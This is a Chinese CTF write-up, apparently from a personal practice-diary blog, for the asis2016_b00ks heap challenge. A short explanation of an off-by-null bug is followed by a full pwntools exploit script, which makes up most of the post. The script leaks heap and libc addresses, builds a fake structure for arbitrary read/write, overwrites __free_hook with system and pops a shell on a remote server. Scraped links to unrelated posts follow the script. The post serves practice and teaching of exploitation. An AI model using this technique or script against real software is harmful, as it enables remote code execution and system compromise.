1.漏洞点

一个off by null，但和其他堆题的利用不太一样。

输入name时可覆盖heaplist的最低位为0

2.利用思路

1.泄露heap地址

申请大的heap再free掉，show功能正常，直接泄露。

2.泄露libc && 改__free_hook

heaplist的第一个指针最低位可覆盖为0，在对应位置伪造结构体，再结合edit和show功能实现任意读写,改freehook为system。

3.shell

申请时写入‘/bin/sh\x00’再free掉。

3.exp

from pwn import *
p=remote('node3.buuoj.cn',26380)
#p = process('./b00ks')
#p = process(['./b00ks'],env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('./b00ks')
libc = ELF('/home/root2/Desktop/buu_64/libc-2.23.so')
#libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def duan():
    gdb.attach(p)
    pause()
def add(name_size,name,content_size,content):
    p.sendlineafter('> ','1')
    p.sendlineafter('size: ',str(name_size))
    p.sendlineafter('chars): ',name)
    p.sendlineafter('size: ',str(content_size))
    p.sendlineafter('tion: ',content)
def delete(index):
    p.sendlineafter('> ','2')
    p.sendlineafter('delete: ',str(index))
def edit(index,content):
    p.sendlineafter('> ','3')
    p.sendlineafter('edit: ',str(index))
    p.sendlineafter('ption: ',content)
def show():
    p.sendlineafter('> ','4')
def change(author_name):
    p.sendlineafter('> ','5')
    p.sendlineafter('name: ',author_name)

p.sendlineafter('name: ','a'*0x1f+'b')
add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
show()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'heap_addr-->'+hex(heap_addr)
add(0x80,'cccccccc',0x60,'dddddddd')
add(0x10,'eeeeeeee',0x10,'ffffffff')
delete(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90+0xe0+0x10)+p64(0x20))
change('a'*0x20)
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']
__malloc_hook = libc_base+libc.symbols['__malloc_hook']
success('libc_base:'+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
realloc = libc_base+libc.symbols['realloc']
system=libc_base+libc.sym['system']
edit(1,p64(free_hook)+p64(0x8))
edit(3,p64(system))
add(0x100,'/bin/sh\x00',0x100,'/bin/sh\x00')
#gdb.attach(p)
delete(4)

p.interactive()

buu刷题日记 asis2016_b00ks相关推荐

菜菜的刷题日记 | 66.加一 Plus One
系列索引:菜菜的刷题日记 | 被LeetCode用Python狂虐的那段日子菜鸡的刷题之路--2022/1/7 文章目录 [题目] [我的代码] [参考代码1] [参考代码2] [参考代码3] [思 ...
一个算法笨蛋的12月leetCode刷题日记
类似文章一个算法笨蛋的2021年11月leetCode刷题日记一个算法笨蛋的2021年12月leetCode刷题日记一个算法笨蛋的2022年1月leetCode刷题日记一个算法笨蛋的2022年 ...
牛客刷题日记（2021-12-8）
牛客刷题日记(2021-12-8) 题目: 以下哪个接口的定义是正确的?( )interface B { void print() { } ;}interface B { static void pr ...
刷题日记【第十三篇】-笔试必刷题【数根+星际密码+跳台阶扩展问题+快到碗里来】
刷题日记[第十三篇]-笔试必刷题[数根+星际密码+跳台阶扩展问题+快到碗里来] 1.方法区在JVM中也是一个非常重要的区域,它与堆一样,是被[线程共享]的区域. 下面有关JVM内存,说法错误的是?(c ...
CTFshow刷题日记-MISC-图片篇(上)基础操作和信息附加
ctfshow 图片篇引语大部分题目仅涉及单一知识点,但可能有多种解法: 找到flag并不困难,关键是了解每一题背后的原理: 藏在哪?为什么可以这样藏?请多考虑这两个问题: misc脑图-misc之 ...
牛客刷题日记（2021-11-24）
牛客刷题日记(2021-11-24) 题目: 下面程序的输出是:() String x="fmn"; x.toUpperCase(); String y=x.replace('f' ...
Leetcode刷题日记（十二）
又是老台词:欢迎大家来到一晚一度的leetcode刷题日记时间.今天我们来讲讲队列的问题,队列这方面的基础知识需要的同学到博主前面的文章找吧.队列这方面的问题平时博主也是接触得比较少的.下面是一道利用 ...
菜菜的刷题日记 | 蓝桥杯 — 十六进制转八进制（纯手撕版）附进制转换笔记
系列索引:菜菜的刷题日记 | 被LeetCode用Python狂虐的那段日子万万没想到啊,回老家过年断更的几天之后,我会因为无聊在除夕这天做了会儿题,然后写篇题解. 文章目录 [题目] [我的代码] ...
菜菜的刷题日记 | 12.整数转罗马数字
系列索引:菜菜的刷题日记 | 被LeetCode用Python狂虐的那段日子菜鸡的刷题之路--2022/1/24,这几天忙着肝并发编程,题在做但是没空写题解,今晚补一篇. 文章目录 [题目] [官方 ...
Leetcode刷题日记：21-25题篇
Leetcode刷题日记:21-25题篇简介题目: 21. 合并两个有序链表 22. 括号生成 23. 合并K个升序链表 24. 两两交换链表中的节点 25. K 个一组翻转链表注简介这个系 ...

buu刷题日记 asis2016_b00ks

1.漏洞点

2.利用思路

3.exp

buu刷题日记 asis2016_b00ks相关推荐

最新文章

热门文章